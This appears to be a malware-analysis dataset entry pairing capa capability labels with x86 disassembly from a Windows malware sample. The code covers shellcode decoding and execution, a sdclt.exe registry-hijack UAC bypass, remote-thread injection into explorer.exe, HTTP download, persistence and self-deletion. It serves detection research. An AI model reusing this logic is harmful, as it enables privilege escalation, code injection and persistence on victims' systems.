joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4199a0
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov eax, dword [0x423b1c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.004196c0
mov edi, eax
mov ebx, edx
mov dword [ebp - 0x114], edi
lea eax, [ebp - 0x1a4]
mov dword [ebp - 0x118], ebx
mov dword [ebp - 0x11c], eax
test edi, edi
jne 0x4199df
test ebx, ebx
je 0x419a46
mov dword [ebp - 0x124], edi
mov dword [ebp - 0x120], ebx
push 0x33
call fcn.004199f2
mov eax, dword [ebp - 0x168]
lea ecx, [ebp - 0x10c]
cdq
add eax, edi
mov dword [ebp - 0x11c], ecx
adc edx, ebx
test eax, eax
jne 0x419a65
test edx, edx
je 0x419acc
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], edx
push 0x33
call fcn.00419a78
mov eax, dword [ebp - 0x84]
test eax, eax
je 0x419e8c
xor ecx, ecx
lea edx, [ebp - 0x164]
add eax, edi
mov dword [ebp - 0x11c], edx
adc ecx, ebx
test eax, eax
jne 0x419af4
test ecx, ecx
je 0x419b5b
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], ecx
push 0x33
call fcn.00419b07
mov eax, dword [ebp - 0x150]
shl eax, 2
push 0x3000
push eax
call fcn.00407d40
add esp, 8
mov dword [ebp - 0x11c], eax
test eax, eax
je 0x419e8c
mov edx, dword [ebp - 0x150]
xor eax, eax
mov ecx, dword [ebp - 0x148]
add ecx, edi
lea esi, [edx*4]
adc eax, ebx
mov dword [ebp - 0x120], esi
test ecx, ecx
jne 0x419ba7
test eax, eax
je 0x419c19
test esi, esi
je 0x419c19
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x128], eax
push 0x33
call fcn.00419bbe
lea eax, [edx + edx]
push 0x3000
push eax
call fcn.00407d40
add esp, 8
mov dword [ebp - 0x120], eax
test eax, eax
je 0x419e8c
mov ecx, dword [ebp - 0x150]
xor eax, eax
lea edx, [ecx + ecx]
mov ecx, dword [ebp - 0x140]
add ecx, edi
mov dword [ebp - 0x128], edx
adc eax, ebx
test ecx, ecx
jne 0x419c5b
test eax, eax
je 0x419cc7
test edx, edx
je 0x419cc7
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x130], eax
push 0x33
call fcn.00419c72
mov eax, dword [ebp - 0x14c]
shl eax, 2
push 0x3000
push eax
call fcn.00407d40
mov edx, eax
add esp, 8
mov dword [ebp - 0x130], edx
test edx, edx
je 0x419e8c
mov ecx, dword [ebp - 0x14c]
xor eax, eax
lea esi, [ecx*4]
mov ecx, dword [ebp - 0x144]
add ecx, edi
mov dword [ebp - 0x128], esi
adc eax, ebx
test ecx, ecx
jne 0x419d15
test eax, eax
je 0x419d87
test esi, esi
je 0x419d87
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x138], eax
push 0x33
call fcn.00419d2c
mov esi, dword [ebp - 0x150]
xor eax, eax
mov dword [ebp - 0x128], eax
test esi, esi
je 0x419e8c
nop dword [eax]
mov edx, dword [edx + eax*4]
xor ecx, ecx
add edx, edi
adc ecx, ebx
test edx, edx
jne 0x419db5
test ecx, ecx
je 0x419e44
mov byte [ebp - 0x10d], 0
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x138], ecx
push 0x33
call fcn.00419dcf
inc eax
mov dword [ebp - 0x128], eax
cmp eax, esi
jae 0x419e8c
mov edx, dword [ebp - 0x130]
jmp 0x419da0
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
xor edx, edx
pop ebx
call fcn.00401000
mov esp, ebp
pop ebp
ret
Function at 0x41a4a0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Extract resource via kernel32 functions
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x208
push 0
push 0x425048
call fcn.00401027
add esp, 0xc
push 0x208
push 0x425048
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x41a6ab
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SOFTWARE_rptls
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x41a51e
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWARE_rptls
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
push ebx
push esi
push edi
push 0x425048
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 2
push eax
push 0x425048
push 1
push 0
push str.Install
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.WM_DSP
push 0x66
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push edi
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0x800
mov dword [ebp - 4], eax
call fcn.0040105a
mov ebx, eax
add esp, 4
xor edx, edx
lea ecx, [ebx + 0x600]
cmp ebx, 0x423710
ja 0x41a5af
cmp ecx, 0x423110
jb 0x41a5af
mov esi, 0x423110
sub esi, ebx
jmp 0x41a61e
movaps xmm1, xmmword [str.EEEEEEEEEEEEEEEE]
lea eax, [ebx + 0x20]
mov esi, 0x423110
mov ecx, 0x423120
sub esi, ebx
sub ecx, ebx
nop word [eax + eax]
movups xmm0, xmmword [edx + 0x423110]
lea eax, [eax + 0x40]
pxor xmm0, xmm1
movups xmmword [eax - 0x60], xmm0
movups xmm0, xmmword [edx + 0x423120]
add edx, 0x40
pxor xmm0, xmm1
movups xmmword [eax - 0x50], xmm0
movups xmm0, xmmword [esi + eax - 0x40]
pxor xmm0, xmm1
movups xmmword [eax - 0x40], xmm0
movups xmm0, xmmword [ecx + eax - 0x40]
pxor xmm0, xmm1
movups xmmword [eax - 0x30], xmm0
cmp edx, 0x600
jl 0x41a5d0
cmp edx, 0x601
jge 0x41a638
mov edi, 0x601
lea ecx, [edx + ebx]
sub edi, edx
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
xor al, 0x45
mov byte [ecx - 1], al
sub edi, 1
jne 0x41a628
lea eax, [ebp - 8]
push eax
push 0x40
push 0x7d0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x40
push 0x1000
push 0x1fe
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
movups xmm0, xmmword [0x42111c]
push 0
push 0
push dword [ebp - 4]
lea ecx, [esi + eax*2]
movups xmmword [ecx], xmm0
push esi
movups xmm0, xmmword [0x42112c]
lea eax, [ebx + 0xef]
movups xmmword [ecx + 0x10], xmm0
movq xmm0, qword [0x42113c]
movq qword [ecx + 0x20], xmm0
call eax
pop edi
pop esi
pop ebx
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x41a6c0
Capabilities:
Create process on windows
Delete registry key
Get common file path
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x650
mov eax, dword [0x423b1c]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x610]
mov dword [ebp - 0x610], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [ebp - 0x610], 0
je 0x41a707
lea eax, [ebp - 0x614]
push eax
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
push str.SoftwareClassesFolder_shellopencommand
push connect
call fcn.0041aa10
push 0x400
lea eax, [ebp - 0x60c]
push 0
push eax
call fcn.00401027
add esp, 0x14
lea eax, [ebp - 0x60c]
push 0x400
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x60c]
push eax
push 0x42117f
push str.SoftwareClassesFolder_shellopencommand
push connect
call fcn.0041aaa0
push 0x42117f
push str.DelegateExecute
push str.SoftwareClassesFolder_shellopencommand
push connect
call fcn.0041aaa0
add esp, 0x20
lea eax, [ebp - 0x20c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push str._sdclt.exe
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 1
push 0
push 0
lea eax, [ebp - 0x20c]
push eax
push 0x41f418
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
movaps xmm0, xmmword [0x4211b0]
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x640], eax
lea eax, [ebp - 0x650]
push eax
mov dword [ebp - 0x650], 0x3c
mov dword [ebp - 0x64c], 0x40
mov dword [ebp - 0x648], 0
mov dword [ebp - 0x644], 0x41f418
movups xmmword [ebp - 0x63c], xmm0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push 0
push dword [ebp - 0x618]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp - 0x610], 0
je 0x41a828
lea eax, [ebp - 0x614]
push eax
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.SoftwareClassesFolder_shellopencommand
push connect
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x41aaa0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0x14]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x41aadc
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
push edi
push esi
push 1
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x41ab0c
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41ab20
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
mov eax, ebx
cdq
and edx, 3
add edx, eax
sar edx, 2
push esi
mov esi, dword [ebp + 0x10]
push edi
lea edi, [ecx + edx*4]
neg edx
je 0x41ab73
nop dword [eax]
nop word [eax + eax]
imul eax, dword [edi + edx*4], 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor esi, eax
rol esi, 0xd
add esi, 0xfaddaf14
lea esi, [esi + esi*4]
add edx, 1
jne 0x41ab50
mov eax, ebx
xor ecx, ecx
and eax, 3
sub eax, 1
je 0x41ab99
sub eax, 1
je 0x41ab90
sub eax, 1
jne 0x41abaf
movzx ecx, byte [edi + 2]
shl ecx, 0x10
movzx eax, byte [edi + 1]
shl eax, 8
xor ecx, eax
movzx eax, byte [edi]
xor eax, ecx
imul eax, eax, 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor esi, eax
xor esi, ebx
mov eax, esi
shr eax, 0x10
xor eax, esi
imul ecx, eax, 0x85ebca6b
pop edi
pop esi
pop ebx
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul eax, eax, 0xc2b2ae35
mov ecx, eax
shr ecx, 0x10
xor ecx, eax
mov eax, dword [ebp + 0x14]
mov dword [eax], ecx
pop ebp
ret

Function at 0x41ad80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
mov ecx, ebx
push esi
push edi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41ad90
mov esi, dword [ebp + 0xc]
sub ecx, edx
lea edx, [esi + 1]
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x41ada0
sub esi, edx
xor edi, edi
test ecx, ecx
jle 0x41adc3
nop
mov eax, edi
cdq
idiv esi
mov eax, dword [ebp + 0xc]
mov dl, byte [edx + eax]
xor byte [edi + ebx], dl
inc edi
cmp edi, ecx
jl 0x41adb0
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret

Function at 0x41add0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push 4
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea esi, [edi - 1]
xor ecx, ecx
add esi, dword [ebp + 8]
mov ebx, eax
mov dl, byte [esi]
lea esi, [esi - 1]
not dl
mov byte [ecx + ebx], dl
inc ecx
cmp ecx, edi
jbe 0x41adf3
lea eax, [ebp + 0xc]
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret

Function at 0x41ae20
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0
push 0x80
push 3
push 0
push 0
push connect
push dword [ebp + 8]
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp + 0xc]
mov edi, eax
mov dword [ecx], edi
lea ecx, [edi + 1]
push ecx
call fcn.0040105a
add esp, 4
mov esi, eax
lea eax, [ebp - 4]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41af50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 8]
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x41af95
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x41afa0
Capabilities:
Create http request
Query remote server for available data
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push edi
push 0
push 0
push 0
push 0
push str.Mozilla_32.0__compatible_
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41b09e
push 0
push 0x400000
push 0
push 0
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov ebx, eax
test ebx, ebx
je 0x41b09e
push 0
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
push 0x3000
push 0x400000
mov dword [ebp - 8], 0xffffffff
call fcn.00407d40
add esp, 8
mov dword [ebp - 0x10], eax
test eax, eax
je 0x41b09e
xor edi, edi
xor ecx, ecx
mov dword [ebp - 0xc], ecx
push esi
push dword [ebp - 4]
call fcn.0040105a
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push esi
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
push 0
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push 0
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
push dword [ebp - 8]
mov eax, dword [ebp - 0x10]
add eax, edi
push esi
push eax
call fcn.00401001
add edi, dword [ebp - 8]
push esi
call fcn.0040106e
add esp, 0x10
cmp dword [ebp - 8], 0
jne 0x41b027
push dword [ebp - 0x14]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
pop esi
cmp edi, dword [ebp - 0xc]
jne 0x41b09e
mov eax, dword [ebp + 0xc]
mov dword [eax], edi
mov eax, dword [ebp - 0x10]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41b640
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x423b1c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x110], eax
mov eax, dword [ebp + 0xc]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [ebp - 0x10c], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0xff
mov dword [ebp - 0x108], eax
call fcn.0040105a
add esp, 4
mov esi, eax
push 0xff
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x104]
sub ecx, esi
nop dword [eax]
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x41b6b0
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0x40
push 0x3000
push 0x800
push 0
push edi
call esi
push 0
push 0x800
push dword [ebp - 0x110]
mov ebx, eax
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call edi
lea eax, [ebp - 0x114]
push eax
push 0x40
push 0x800
push ebx
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 4
push 0x3000
push 0x103
push 0
push dword [ebp - 0x10c]
call esi
push 0
mov esi, eax
lea eax, [ebp - 0x108]
push 0x103
push eax
push esi
push dword [ebp - 0x10c]
call edi
push 0
push 0
push esi
lea eax, [ebx + 0x10e]
push eax
push 0
push 0
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov dword [0x425458], eax
pop ebx
call fcn.00401000
mov esp, ebp
pop ebp
ret
Function at 0x41b770
Capabilities:
Allocate or change rwx memory
Create process on windows
Enumerate processes
Get common file path

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x19c
mov eax, dword [0x423b1c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x134]
mov dword [ebp - 0x134], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x41b911
cmp dword [ebp - 0x134], 0
je 0x41b883
push 0x40
push 0x1000
push 0xff
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
movups xmm0, xmmword [str.System32cmd.exe]
push 0x44
push 0
movups xmmword [eax + esi], xmm0
mov ecx, dword [0x4212f8]
mov dword [eax + esi + 0x10], ecx
lea eax, [ebp - 0x198]
push eax
call fcn.00401027
add esp, 0xc
lea eax, [ebp - 0x150]
xorps xmm0, xmm0
movaps xmmword [ebp - 0x150], xmm0
push eax
lea eax, [ebp - 0x198]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x41b911
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 0x148]
push 0x423718
call fcn.0041b640
add esp, 8
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x124
mov esi, eax
lea eax, [ebp - 0x12c]
push 0
push eax
call fcn.00401027
add esp, 0xc
mov dword [ebp - 0x130], 0x128
lea eax, [ebp - 0x130]
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x41b90a
nop
mov eax, str.explorer.exe
lea ecx, [ebp - 0x10c]
nop dword [eax + eax]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x41b8f0
test dl, dl
je 0x41b8ec
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x41b8f0
add ecx, 2
add eax, 2
test dl, dl
jne 0x41b8d0
xor eax, eax
jmp 0x41b8f5
sbb eax, eax
or eax, 1
test eax, eax
je 0x41b923
lea eax, [ebp - 0x130]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x41b8c0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov eax, dword [ebp - 0x128]
test eax, eax
je 0x41b911
push eax
push 0x423718
call fcn.0041b640
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
pop esi
call fcn.00401000
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x41c970
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push 0
mov dword [ebp - 0x18], ecx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 8]
mov dword [ebp - 0xc], 0
push eax
push 0x421328
push 1
push 0
push 0x421570
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x41cb44
mov eax, dword [ecx]
lea edx, [ebp - 4]
push 0
push edx
push 0x421560
push ecx
call dword [eax + 0xc]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x41cb44
mov eax, dword [ecx]
push ebx
push ecx
call dword [eax + 0x14]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
lea edx, [ebp - 0x14]
xor ebx, ebx
push edx
mov dword [ebp - 0x10], ebx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x41cb15
push esi
push edi
nop
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0xc]
mov ecx, dword [eax + ebx*4]
lea eax, [eax + ebx*4]
push edx
push 0x4214d0
push 0
push 0
push eax
call dword [ecx + 0x24]
test eax, eax
jne 0x41cb13
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x28]
push 0
push edx
push 0x421338
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x41ca60
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x28]
push 0
push edx
push str.FriendlyName
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x41cb13
push 0x1c
call fcn.00407f60
mov esi, eax
add esp, 4
test esi, esi
je 0x41caab
push 0x50
push 1
call fcn.00407e10
push 0xa0
push 1
mov dword [esi], eax
call fcn.00407e10
add esp, 0x10
mov dword [esi + 4], eax
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
jmp 0x41caad
xor esi, esi
mov edx, dword [ebp - 0x20]
xor edi, edi
movzx eax, word [edx]
test ax, ax
je 0x41cae1
mov ecx, eax
nop dword [eax]
mov eax, dword [esi + 4]
lea edx, [edx + 2]
lea edi, [edi + 1]
mov word [eax + edi*2 - 2], cx
mov ecx, dword [esi]
mov al, byte [edx - 2]
mov byte [edi + ecx - 1], al
movzx eax, word [edx]
mov ecx, eax
test ax, ax
jne 0x41cac0
mov ecx, dword [ebp - 0x18]
push esi
mov dword [esi + 8], ebx
lea ecx, [ecx + 4]
call fcn.0041d3b0
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
lea edx, [ebp - 0x14]
mov dword [ebp - 0x10], 0
push edx
mov ecx, dword [eax]
inc ebx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x41ca00
pop edi
pop esi
mov ecx, dword [ebp - 4]
pop ebx
test ecx, ecx
je 0x41cb2a
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x41cb3e
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 8], 0
call dword [sym.imp.ole32.dll_CoUninitialize]
mov esp, ebp
pop ebp
ret
Function at 0x41d120
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x41d2cb
push esi
xor esi, esi
push esi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
push eax
push 0x421510
push 1
push esi
push 0x421570
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x41d1e4
mov eax, dword [ecx]
lea edx, [ebp + 0xc]
push esi
push edx
push 0x421560
push ecx
call dword [eax + 0xc]
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x41d1d0
mov eax, dword [ecx]
push ecx
call dword [eax + 0x14]
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
push esi
push edx
push 1
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x41d1bc
mov ecx, dword [ebp - 0xc]
inc esi
test ecx, ecx
je 0x41d1a7
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
push 0
push edx
push 1
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x41d192
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x41d1d0
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp + 0xc], 0
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x41d1e4
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 8], 0
push ebx
call dword [sym.imp.ole32.dll_CoUninitialize]
lea eax, [ebp - 0x10]
mov dword [edi], 0
push eax
push 0x421328
push 1
xor ebx, ebx
cmp esi, dword [ebp + 8]
push 0
cmovae ebx, dword [ebp + 8]
push 0x421570
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x41d2c9
mov eax, dword [ecx]
lea edx, [ebp - 4]
push 0
push edx
push 0x421560
push ecx
call dword [eax + 0xc]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x41d2c9
mov eax, dword [ecx]
push ecx
call dword [eax + 0x14]
mov eax, dword [ebp - 4]
lea edx, [ebp + 0xc]
push edx
lea edx, [ebp - 0xc]
xor esi, esi
push edx
mov dword [ebp + 0xc], esi
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x41d2a8
nop dword [eax + eax]
mov eax, dword [ebp - 0xc]
push edi
push 0x421500
push 0
mov ecx, dword [eax]
push 0
push eax
call dword [ecx + 0x20]
mov ecx, dword [edi]
test ecx, ecx
je 0x41d28a
cmp esi, ebx
je 0x41d2a8
mov eax, dword [ecx]
inc esi
push ecx
call dword [eax + 8]
mov dword [edi], 0
mov eax, dword [ebp - 4]
lea edx, [ebp + 0xc]
push edx
lea edx, [ebp - 0xc]
mov dword [ebp + 0xc], 0
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x41d260
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x41d2bc
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x41d2c9
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
ret